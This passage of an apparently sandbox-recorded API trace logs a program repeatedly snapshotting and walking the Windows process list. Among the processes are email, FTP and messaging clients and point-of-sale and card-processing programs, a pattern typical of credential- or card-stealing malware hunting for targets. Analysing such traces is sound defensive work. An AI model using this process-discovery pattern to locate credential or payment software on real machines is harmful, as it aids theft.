out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0120.328] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0120.331] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0120.335] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x120c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0120.338] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x121c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0120.341] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0120.349] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0120.352] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x123c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0120.357] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x124c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0120.367] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0120.370] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0120.374] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0120.376] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x127c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0120.380] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1284, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0120.383] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0120.386] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x129c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0120.390] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0120.393] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0120.396] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0120.399] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0120.403] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0120.405] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0120.408] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0120.411] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1300, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0120.414] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0120.417] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0120.420] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0120.422] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0120.425] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0120.428] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1348, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0120.430] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0120.433] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0120.436] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0120.439] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0120.441] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1380, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0120.445] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="sense_understand.exe")) returned 1 [0120.448] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="often-far-on.exe")) returned 1 [0120.451] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0120.454] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0120.457] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 0 [0120.459] CloseHandle (hObject=0x207c) returned 1 [0120.460] Sleep (dwMilliseconds=0x64) [0120.564] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1e6c [0120.583] Process32First (in: hSnapshot=0x1e6c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0120.585] Process32Next (in: hSnapshot=0x1e6c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0120.587] Process32Next (in: hSnapshot=0x1e6c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0120.589] Process32Next (in: hSnapshot=0x1e6c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0120.591] Process32Next (in: hSnapshot=0x1e6c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0120.593] Process32Next (in: hSnapshot=0x1e6c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0120.595] Process32Next (in: hSnapshot=0x1e6c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0120.597] Process32Next (in: hSnapshot=0x1e6c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0120.598] Process32Next (in: hSnapshot=0x1e6c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0120.600] Process32Next (in: hSnapshot=0x1e6c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0120.602] Process32Next (in: hSnapshot=0x1e6c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0120.604] Process32Next (in: hSnapshot=0x1e6c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0120.606] Process32Next (in: hSnapshot=0x1e6c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0120.607] Process32Next (in: hSnapshot=0x1e6c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0120.610] Process32Next (in: hSnapshot=0x1e6c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0120.612] Process32Next (in: hSnapshot=0x1e6c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0120.614] Process32Next (in: hSnapshot=0x1e6c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0120.615] Process32Next (in: hSnapshot=0x1e6c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0120.617] Process32Next (in: hSnapshot=0x1e6c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0120.619] Process32Next (in: hSnapshot=0x1e6c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0120.621] Process32Next (in: hSnapshot=0x1e6c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0120.623] Process32Next (in: hSnapshot=0x1e6c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2d, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0120.625] Process32Next (in: hSnapshot=0x1e6c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0120.627] Process32Next (in: hSnapshot=0x1e6c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0120.629] Process32Next (in: hSnapshot=0x1e6c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0120.631] Process32Next (in: hSnapshot=0x1e6c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0120.633] Process32Next (in: hSnapshot=0x1e6c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0120.635] Process32Next (in: hSnapshot=0x1e6c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0120.692] Process32Next (in: hSnapshot=0x1e6c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0120.694] Process32Next (in: hSnapshot=0x1e6c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0120.696] Process32Next (in: hSnapshot=0x1e6c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0120.698] Process32Next (in: hSnapshot=0x1e6c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0120.700] Process32Next (in: hSnapshot=0x1e6c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0120.701] Process32Next (in: hSnapshot=0x1e6c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0120.703] Process32Next (in: hSnapshot=0x1e6c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0120.705] Process32Next (in: hSnapshot=0x1e6c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x614, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0120.707] Process32Next (in: hSnapshot=0x1e6c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0120.709] Process32Next (in: hSnapshot=0x1e6c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0120.710] Process32Next (in: hSnapshot=0x1e6c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0120.712] Process32Next (in: hSnapshot=0x1e6c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0120.714] Process32Next (in: hSnapshot=0x1e6c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0120.716] Process32Next (in: hSnapshot=0x1e6c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0120.718] Process32Next (in: hSnapshot=0x1e6c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="applyourstrategy.exe")) returned 1 [0120.720] 